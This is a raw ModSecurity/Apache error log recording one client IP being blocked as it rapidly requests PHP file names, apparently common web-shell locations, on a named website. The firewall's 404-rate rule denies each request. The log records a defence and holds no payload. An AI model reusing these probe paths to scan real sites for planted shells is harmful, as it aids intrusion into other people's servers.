[Sat Dec 13 00:06:38.552689 2025] [:error] [pid 26521:tid 26591] [client 4.193.186.94:21551] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7f8c8.php"] [unique_id "aTw9jpdhcAPU617AKTDFPwAAAIw"]
[Sat Dec 13 00:06:38.913842 2025] [:error] [pid 26607:tid 26622] [client 4.193.186.94:21514] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/qlex1.php"] [unique_id "aTw9jsb_b0tOEWTL2KnGcQAAAM0"]
[Sat Dec 13 00:06:39.182790 2025] [:error] [pid 26520:tid 26557] [client 4.193.186.94:35257] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/qlex1.php"] [unique_id "aTw9j0G_frlY5vNXu_Ag2QAAAEU"]
[Sat Dec 13 00:06:39.584505 2025] [:error] [pid 60649:tid 60672] [client 4.193.186.94:21481] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/qlex1.php"] [unique_id "aTw9j1OcUGKU3sgfHP8i-AAAARQ"]
[Sat Dec 13 00:06:39.963371 2025] [:error] [pid 26519:tid 26535] [client 4.193.186.94:21491] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/qlex1.php"] [unique_id "aTw9j88TRgSGOeWqEhcWBwAAAAw"]
[Sat Dec 13 00:06:40.233282 2025] [:error] [pid 55760:tid 55770] [client 4.193.186.94:21565] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pes.php"] [unique_id "aTw9kFObDQlftFDyGaxHMAAAAYg"]
[Sat Dec 13 00:06:40.544140 2025] [:error] [pid 26521:tid 26603] [client 4.193.186.94:21454] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pes.php"] [unique_id "aTw9kJdhcAPU617AKTDFRAAAAJg"]
[Sat Dec 13 00:06:40.852645 2025] [:error] [pid 26521:tid 26582] [client 4.193.186.94:21505] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pes.php"] [unique_id "aTw9kJdhcAPU617AKTDFRQAAAIM"]
[Sat Dec 13 00:06:41.112411 2025] [:error] [pid 60649:tid 60658] [client 4.193.186.94:21508] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pes.php"] [unique_id "aTw9kVOcUGKU3sgfHP8i-wAAAQY"]
[Sat Dec 13 00:06:41.511441 2025] [:error] [pid 55760:tid 55781] [client 4.193.186.94:35221] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/redi.php"] [unique_id "aTw9kVObDQlftFDyGaxHMQAAAZM"]
[Sat Dec 13 00:06:41.807962 2025] [:error] [pid 26607:tid 26629] [client 4.193.186.94:21369] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/redi.php"] [unique_id "aTw9kcb_b0tOEWTL2KnGcgAAANQ"]
[Sat Dec 13 00:06:42.263005 2025] [:error] [pid 60649:tid 60667] [client 4.193.186.94:21451] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/redi.php"] [unique_id "aTw9klOcUGKU3sgfHP8i_QAAAQ8"]
[Sat Dec 13 00:06:42.483528 2025] [:error] [pid 26521:tid 26593] [client 4.193.186.94:21480] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/redi.php"] [unique_id "aTw9kpdhcAPU617AKTDFSAAAAI4"]
[Sat Dec 13 00:06:42.708832 2025] [:error] [pid 26519:tid 26526] [client 4.193.186.94:21459] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/man.php7"] [unique_id "aTw9ks8TRgSGOeWqEhcWDwAAAAM"]
[Sat Dec 13 00:06:43.072332 2025] [:error] [pid 26607:tid 26617] [client 4.193.186.94:21473] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/man.php7"] [unique_id "aTw9k8b_b0tOEWTL2KnGdAAAAMg"]
[Sat Dec 13 00:06:43.403809 2025] [:error] [pid 26607:tid 26625] [client 4.193.186.94:21382] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/man.php7"] [unique_id "aTw9k8b_b0tOEWTL2KnGdQAAANA"]
[Sat Dec 13 00:06:43.640420 2025] [:error] [pid 26607:tid 26630] [client 4.193.186.94:21469] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/man.php7"] [unique_id "aTw9k8b_b0tOEWTL2KnGeAAAANU"]
[Sat Dec 13 00:06:43.875282 2025] [:error] [pid 26521:tid 26603] [client 4.193.186.94:21549] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gfile.php"] [unique_id "aTw9k5dhcAPU617AKTDFUgAAAJg"]
[Sat Dec 13 00:06:44.131470 2025] [:error] [pid 26607:tid 26632] [client 4.193.186.94:21460] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gfile.php"] [unique_id "aTw9lMb_b0tOEWTL2KnGewAAANc"]
[Sat Dec 13 00:06:44.373184 2025] [:error] [pid 26519:tid 26523] [client 4.193.186.94:20943] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gfile.php"] [unique_id "aTw9lM8TRgSGOeWqEhcWEQAAAAA"]
[Sat Dec 13 00:06:44.604820 2025] [:error] [pid 26607:tid 26615] [client 4.193.186.94:35271] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gfile.php"] [unique_id "aTw9lMb_b0tOEWTL2KnGfwAAAMY"]
[Sat Dec 13 00:06:44.811186 2025] [:error] [pid 26521:tid 26582] [client 4.193.186.94:21535] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hob.php"] [unique_id "aTw9lJdhcAPU617AKTDFVAAAAIM"]
[Sat Dec 13 00:06:45.272782 2025] [:error] [pid 26521:tid 26600] [client 4.193.186.94:20756] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hob.php"] [unique_id "aTw9lZdhcAPU617AKTDFVgAAAJU"]
[Sat Dec 13 00:06:45.520590 2025] [:error] [pid 26607:tid 26616] [client 4.193.186.94:21447] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hob.php"] [unique_id "aTw9lcb_b0tOEWTL2KnGhwAAAMc"]
[Sat Dec 13 00:06:45.786432 2025] [:error] [pid 26607:tid 26611] [client 4.193.186.94:20800] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hob.php"] [unique_id "aTw9lcb_b0tOEWTL2KnGiQAAAMI"]
[Sat Dec 13 00:06:46.020199 2025] [:error] [pid 60649:tid 60673] [client 4.193.186.94:21410] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/4ff11.php"] [unique_id "aTw9llOcUGKU3sgfHP8jAwAAARU"]
[Sat Dec 13 00:06:46.459107 2025] [:error] [pid 26519:tid 26547] [client 4.193.186.94:21398] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/4ff11.php"] [unique_id "aTw9ls8TRgSGOeWqEhcWFQAAABg"]
[Sat Dec 13 00:06:46.647366 2025] [:error] [pid 26521:tid 26586] [client 4.193.186.94:35237] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/4ff11.php"] [unique_id "aTw9lpdhcAPU617AKTDFXAAAAIc"]
[Sat Dec 13 00:06:47.097093 2025] [:error] [pid 26521:tid 26580] [client 4.193.186.94:21463] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/4ff11.php"] [unique_id "aTw9l5dhcAPU617AKTDFXwAAAIE"]
[Sat Dec 13 00:06:47.416831 2025] [:error] [pid 26519:tid 26530] [client 4.193.186.94:21563] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aTw9l88TRgSGOeWqEhcWGQAAAAc"]
[Sat Dec 13 00:06:47.793087 2025] [:error] [pid 26520:tid 26568] [client 4.193.186.94:21522] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aTw9l0G_frlY5vNXu_Ag3gAAAFA"]
[Sat Dec 13 00:06:48.030289 2025] [:error] [pid 26520:tid 26563] [client 4.193.186.94:21391] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aTw9mEG_frlY5vNXu_Ag3wAAAEs"]
[Sat Dec 13 00:06:48.504100 2025] [:error] [pid 26607:tid 26622] [client 4.193.186.94:21528] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aTw9mMb_b0tOEWTL2KnGkwAAAM0"]
[Sat Dec 13 00:06:48.776313 2025] [:error] [pid 26607:tid 26629] [client 4.193.186.94:20906] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/0%25.php"] [unique_id "aTw9mMb_b0tOEWTL2KnGlAAAANQ"]
[Sat Dec 13 00:06:49.227283 2025] [:error] [pid 26521:tid 26594] [client 4.193.186.94:21476] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/0%25.php"] [unique_id "aTw9mZdhcAPU617AKTDFZgAAAI8"]
[Sat Dec 13 00:06:49.442081 2025] [:error] [pid 26519:tid 26541] [client 4.193.186.94:21498] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/0%25.php"] [unique_id "aTw9mc8TRgSGOeWqEhcWIQAAABI"]
[Sat Dec 13 00:06:49.705862 2025] [:error] [pid 26521:tid 26600] [client 4.193.186.94:35219] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/0%25.php"] [unique_id "aTw9mZdhcAPU617AKTDFaQAAAJU"]
[Sat Dec 13 00:06:50.009622 2025] [:error] [pid 26607:tid 26625] [client 4.193.186.94:35220] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zeal.php"] [unique_id "aTw9msb_b0tOEWTL2KnGmAAAANA"]
[Sat Dec 13 00:06:50.267461 2025] [:error] [pid 26519:tid 26544] [client 4.193.186.94:35249] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zeal.php"] [unique_id "aTw9ms8TRgSGOeWqEhcWJAAAABU"]
[Sat Dec 13 00:06:50.797511 2025] [:error] [pid 27950:tid 27966] [client 4.193.186.94:21489] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zeal.php"] [unique_id "aTw9moVLRvkrdsSc1F3N4wAAAU4"]
[Sat Dec 13 00:06:51.043969 2025] [:error] [pid 26607:tid 26612] [client 4.193.186.94:35236] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zeal.php"] [unique_id "aTw9m8b_b0tOEWTL2KnGmwAAAMM"]
[Sat Dec 13 00:06:51.319523 2025] [:error] [pid 26521:tid 26598] [client 4.193.186.94:35254] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/des.php"] [unique_id "aTw9m5dhcAPU617AKTDFdQAAAJM"]
[Sat Dec 13 00:06:51.583774 2025] [:error] [pid 26521:tid 26602] [client 4.193.186.94:35259] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/des.php"] [unique_id "aTw9m5dhcAPU617AKTDFdwAAAJc"]
[Sat Dec 13 00:06:51.797960 2025] [:error] [pid 26521:tid 26594] [client 4.193.186.94:21440] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/des.php"] [unique_id "aTw9m5dhcAPU617AKTDFegAAAI8"]
[Sat Dec 13 00:06:52.039963 2025] [:error] [pid 26521:tid 26603] [client 4.193.186.94:35274] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/des.php"] [unique_id "aTw9nJdhcAPU617AKTDFewAAAJg"]
[Sat Dec 13 00:06:52.415532 2025] [:error] [pid 27950:tid 27967] [client 4.193.186.94:21516] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/v.php"] [unique_id "aTw9nIVLRvkrdsSc1F3N5QAAAU8"]
[Sat Dec 13 00:06:52.726284 2025] [:error] [pid 27950:tid 27961] [client 4.193.186.94:21448] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/v.php"] [unique_id "aTw9nIVLRvkrdsSc1F3N5wAAAUk"]
[Sat Dec 13 00:06:52.984257 2025] [:error] [pid 55760:tid 55779] [client 4.193.186.94:35248] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/v.php"] [unique_id "aTw9nFObDQlftFDyGaxHNQAAAZE"]
[Sat Dec 13 00:06:53.206890 2025] [:error] [pid 27950:tid 27962] [client 4.193.186.94:21534] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/v.php"] [unique_id "aTw9nYVLRvkrdsSc1F3N6gAAAUo"]
[Sat Dec 13 00:06:53.423160 2025] [:error] [pid 26607:tid 26620] [client 4.193.186.94:35215] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class.1.php"] [unique_id "aTw9ncb_b0tOEWTL2KnG5wAAAMs"]
[Sat Dec 13 00:06:53.734618 2025] [:error] [pid 26520:tid 26565] [client 4.193.186.94:21430] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class.1.php"] [unique_id "aTw9nUG_frlY5vNXu_Ag6gAAAE0"]
[Sat Dec 13 00:06:53.973139 2025] [:error] [pid 60649:tid 60670] [client 4.193.186.94:20762] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class.1.php"] [unique_id "aTw9nVOcUGKU3sgfHP8jHAAAARI"]
[Sat Dec 13 00:06:54.237056 2025] [:error] [pid 26607:tid 26616] [client 4.193.186.94:21537] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class.1.php"] [unique_id "aTw9nsb_b0tOEWTL2KnHDgAAAMc"]
[Sat Dec 13 00:06:54.507628 2025] [:error] [pid 27950:tid 27955] [client 4.193.186.94:35276] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/usep.php"] [unique_id "aTw9noVLRvkrdsSc1F3N8AAAAUM"]
[Sat Dec 13 00:06:54.764655 2025] [:error] [pid 26519:tid 26525] [client 4.193.186.94:35204] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/usep.php"] [unique_id "aTw9ns8TRgSGOeWqEhcWKwAAAAI"]
[Sat Dec 13 00:06:55.082716 2025] [:error] [pid 26521:tid 26594] [client 4.193.186.94:35302] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/usep.php"] [unique_id "aTw9n5dhcAPU617AKTDFogAAAI8"]
